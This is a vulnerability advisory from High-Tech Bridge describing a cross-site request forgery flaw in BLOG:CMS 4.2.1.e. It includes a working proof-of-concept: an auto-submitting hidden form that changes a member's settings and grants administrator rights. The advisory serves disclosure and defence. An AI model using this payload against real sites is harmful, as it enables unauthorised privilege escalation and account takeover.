XSRF (CSRF) in BLOG:CMS

Vulnerability ID: HTB22727
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_blogcms.html
Product: BLOG:CMS
Vendor: Radek Hulan ( http://blogcms.com/ )
Vulnerable Version: 4.2.1.e and probably prior versions
Vendor Notification: 30 November 2010
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Not Fixed, Vendor Alerted
Risk level: Low
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "admin/libs/ADMIN.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/index.php&quot; method="post" name="main">
<input type="hidden" name="action" value="changemembersettings">
<input type="hidden" name="memberid" value="USER_UD">
<input type="hidden" name="name" value="tester">
<input type="hidden" name="realname" value="tester">
<input type="hidden" name="password" value="">
<input type="hidden" name="repeatpassword" value="">
<input type="hidden" name="email" value="[email protected]">
<input type="hidden" name="url" value="">
<input type="hidden" name="admin" value="1">
<input type="hidden" name="canlogin" value="1">
<input type="hidden" name="notes" value="">
<input type="hidden" name="deflang" value="">
</form>
<script>
document.main.submit();
</script>